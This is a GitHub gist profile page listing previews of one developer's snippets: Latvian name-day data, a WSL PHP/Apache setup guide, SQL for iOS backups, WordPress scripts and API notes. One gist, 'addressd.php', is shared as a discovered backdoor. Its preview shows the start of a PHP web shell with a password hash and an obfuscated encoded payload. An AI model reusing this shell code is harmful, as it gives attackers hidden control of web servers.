Skip to content

Instantly share code, notes, and snippets.

View laacz's full-sized avatar

Kaspars Foigts laacz

79 followers · 8 following
View GitHub Profile
@laacz
laacz / namedays-extended.json
Last active January 10, 2024 06:44
Vārdadienas JSON (par prieku Sergejam)
{
"01-01": ["Afra", "Afrodīte", "Agunda", "Agurs", "Januārija", "Laimstars", "Soleda", "Solita", "Solveta"],
"01-02": ["Induls", "Īva", "Ivaise", "Ivija", "Īvija", "Ivika", "Īvis", "Ivisa", "Ivs"],
"01-03": ["Ambrozijs", "Ammonārija", "Ammunārija", "Mežvaldis", "Mieriņš", "Miermīlis", "Miernesis", "Miervalds", "Ringla", "Ringo", "Rinolds"],
"01-04": ["Amina", "Amīna", "Amirans", "Amirs", "Blāzma", "Ilveta", "Ilvis", "Spodrīte"],
"01-05": ["Amrita", "Amunds", "Anarita", "Saimona", "Saimons", "Seimanis", "Semions", "Semjons", "Simeons", "Simions", "Zintauts", "Zinturs"],
"01-06": ["Arams", "Aranta", "Arfa", "Arnīda", "Arnija", "Arnika"],
"01-07": ["Julians", "Jūlians", "Jūliāns", "Sigmars", "Sigmārs", "Zigmāra", "Zigmāris", "Zigmars"],
"01-08": ["Ants", "Aristarhs", "Aristida", "Aristīda", "Aristids", "Aristīds", "Aristons", "Aristrīds", "Arjana", "Arlands", "Arleta", "Arlēna", "Arlijs", "Arlita", "Gatiņš", "Īvande", "Ivanna", "Ivase", "Ivena"],
"01-09": ["Aksela", "Akselis",
@laacz
laacz / php-fpm-apache-on-wsl.md
Last active July 27, 2023 15:48
PHP 7.x (FPM), Apache2 on WSL

PHP-FPM, Apache with *.localhost virtualhosts on WSL

This will help installing simple PHP stack with *.localhost domains on Windows Subsystem for Linux in Windows 10. You'll have to add sudo where appropriate.

PHP 7.x (FPM)

You'll need to add an unofficial repository by awesome Ondřej Surý, but it's been stable for years and can be used in production.

sudo apt-get install -y python-software-properties
@laacz
laacz / addressd.php
Last active July 5, 2023 17:12
Found new backdoor script and decoded version. Have fun.
<?
// Password is "root" (w/o quotes, of course:)
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
$xYEzDu6r3EZT="GR5yYXp3YH17ejRne3h9cGdgdWBxPDB5dX9xYWQ9NG8ZHjQ0NDQweHt4NCk0MzMvGR40NDQ0cntmPDB9KSQvMH00KDRnYGZ4cXo8MHl1f3FhZD0vMH0/KSY9NG8ZHjQ0NDQ0NDB4e3g6KXd8Zjx8cWxwcXc8Z2F2Z2BmPDB5dX9xYWQ4MH04Jj09PS8ZHjQ0NDRpGR40NDQ0ZnFgYWZ6NDB4e3gvGR5pGR4wZ3F9d3t4fXp/KWd7eH1wZ2B1YHE8MyYgIyciciMhIyYiJyIhJ3AiJiIlIyciISciJyAhciIgIiEiJyJyIiAiISYsIXUhLCF1IiwiJiAnIiwicSIhInAidyMhIXUicCMsIiwiICAjISEiciEtInAgIiN1IXUhICEtJyQhLCcmISYidyEtJyYnLSJ2IXUhJyIjInEgcSEjIC0jLCByISMhdScgIichICBwIyMiJSJ2ISUnICF1ICcnLScnIicgICEiICAgcCcnISYhJiImJyQnJScgIHEgISBxISYiJiJxIiwhdSEjISAhJiJ1IXUhLCMkICIhdSEjIHUgIyEiICwhdSchISEicSAlJyQiICAsIiMjIyF1JyUgIiEsIHAidyIsIyciJSEgIXUnJSBxISMidickIichIyAtIyIgcSclICYhISEgInUhdSEsISInJiMsInAhICEhISEnJSBxJycgdSclIiAgJyMgInAiJSMtJy0hJCEtISMgcSB2IScnJicsJyEhJiJ2IncgLCImI3UgIiAsIiYjdSJ3IC0hJyEhIicnJSEtInciIyN1IS0n
@laacz
laacz / ios-addressbook.sql
Created August 30, 2011 12:16
SQL query to extract essential info from addressbook in iOS backup
--
-- This is SQL query to extract AddressBook info from respective sqlite3 file from iOS backup.
-- It has been tested only on my own backup, so, if anything is wrong, fork, edit, and stuff.
--
-- # parse-manifest.py from http://stackoverflow.com/questions/3085153/how-to-parse-the-manifest-mbdb-file-in-an-ios-4-0-itunes-backup
--
-- $ python ../parse-manifest.py | grep AddressBook.sqlitedb
-- -rw-r--r-- 000001f5 000001f5 1654784 1312812502 1312812502 1287387943 (31bb7ba8914766d4ba40d6dfb6113c8b614be442)HomeDomain::Library/AddressBook/AddressBook.sqlitedb
--
-- $ sqlite3 31bb7ba8914766d4ba40d6dfb6113c8b614be442
@laacz
laacz / readme.md
Created August 8, 2022 15:56
Kadastrs data download and import into PostGIS

Loading LV Cadastre into postgis

First, download all files, unzip and concatenate them into single shapefile. Takes around haf an hour.

#!/usr/bin/env bash

# Download all your data from https://data.gov.lv/dati/lv/dataset/kadastra-informacijas-sistemas-atverti-telpiskie-dati
# into data/kadastrs/ folder
# Script does the following:
@laacz
laacz / fetch.php
Created November 21, 2013 12:17
Vāzes JSON API
<?php
// Ziņojumi un publiskie lietotāji (tagad visi anonīmi)
$params = [
'format' => 'JSON',
'types' => 'alerts,users',
'os' => 60,
'ma' => '5000',
'mu' => '5000',
@laacz
laacz / archives.php
Last active August 3, 2022 00:42
Wordpress archivi iekš laacz.lv
<?php
/*
Template Name: Archivs
Šo saglabājam iekš tēmas direktorijas. Tad izveidojam ierakstu ar slug "archive"
vai kā nu vēlamies, tam norādam templeitu (jābūt sarakstā) "Archivs". Done.
*/
get_header();
@laacz
laacz / wp-upgrade-check.sh
Created April 3, 2014 11:47
Finds Wordpress installations with outdated cores and/or plugins. If it throws php warnings (wp-cli does so), just redirect do `wp-update-check.sh 2>/dev/null`.
#!/usr/bin/env bash
#
# Script will find all wordpress installs and check if they're out of date
#
# Using wp-cli - http://wp-cli.org/
# Paths to search for wordpresses. Separated by space.
PATHS="/var/www /data/www"
@laacz
laacz / eveseliba-doc.md
Last active August 3, 2022 00:42
E-veselības doki

Viss > E-veselība > Dokumentācija

Ņemts no e-veselības dokumentācijas wiki.

  1. Pierakstu un nosūtījumu informācijas sistēma: Web lietotāju platformas darbnespējas lapas modulis. Programmatūras projektējuma apraksts
    Šis dokuments apraksta Veselības aprūpes WEB lietotāju platformas (Portāls) darbnespējas lapas moduļa detalizēto projektējumu.
  2. Pierakstu un nosūtījumu informācijas sistēma: Web lietotāju platformas darbnespējas lapas modulis. Programmatūras prasību specifikācija
    Šis dokuments apraksta Veselības aprūpes elektronisko nosūtījumu/elektronisko pierakstu informācijas sistēmas (Portāls) darbnespējas lapas apstrādes modulim izvirzītās funkcionālās prasības.
  3. [Pierakstu un nosūtījumu informācijas sistēma: Programmatūras projektējuma apraksts](https://viss.gov.lv/-/
@laacz
laacz / API.md
Last active August 3, 2022 00:23
"Presē pirms 100 gadiem" API

Triviāli. Viena pati metode. https://periodika.laacz.lv/api/1/issues. Ar GET. API pieejamība netiek garantēta. API versijas ietvaros destruktīvas atgriežamo datu struktūru izmaiņas netiek plānotas (t.i. - pielietojot šo API, ņem vērā, ka, lai arī nost nekas neies, jauni atribūti var parādīties).

Tiek atgriezts (ja tiek, protams) sekojošas struktūras JSON.

{
    "issues": [ // Masīvs ar numuriem
        { 
            "id": 557973, 
            "periodical_id": 152,